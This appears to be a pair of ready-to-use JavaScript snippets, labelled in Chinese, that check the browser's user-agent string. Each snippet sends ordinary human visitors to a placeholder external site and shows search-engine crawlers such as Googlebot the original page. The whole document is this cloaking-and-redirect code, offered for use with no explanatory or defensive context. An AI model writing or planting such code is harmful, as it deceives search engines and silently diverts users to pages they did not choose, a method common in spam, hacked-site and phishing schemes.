代码一
<script type='text/javascript'>
var MY_URL = "需跳转的网站";
var MY_UAG = navigator.userAgent;
var MY_UAGstr = /Bot|Crawl|Spider|spider|Slurp|slurp|sohu-search|Lycos|lycos|robozilla|baidu|Baidu|google|Google|soso|Soso|YodaoBot|Sogou|sogou|Adsbot|Mediapartners|Msn|msn|scooter|FAST|ia_archiver|Ia_archiver/gi;
if(!MY_UAGstr.exec(MY_UAG)) top.location.href= MY_URL;
var MY_UAGstr2 = /MSIE|Firefox|Chrome|Apple/gi;
if(MY_UAGstr2.exec(MY_UAG)) top.location.href= MY_URL;
</script>
代码二 有过虑Googlebot
<script type="text/javascript">
<!----
var robots="Googlebot";
var browser=navigator.appName;
var browser=navigator.appName;
var b_version=navigator.appVersion;
var version=parseFloat(b_version);
var browser=navigator.appName;
var browser_version=navigator.appVersion;
var browser_codename=navigator.appCodeName;
var browser_platform=navigator.platform;
var browser_cookie=navigator.cookieEnabled;
var browser_userAgent=navigator.userAgent;
var matchs = browser_userAgent.match(robots);
if(!matchs){
top.location.href= '需跳转的网站';
}
//----->
</script>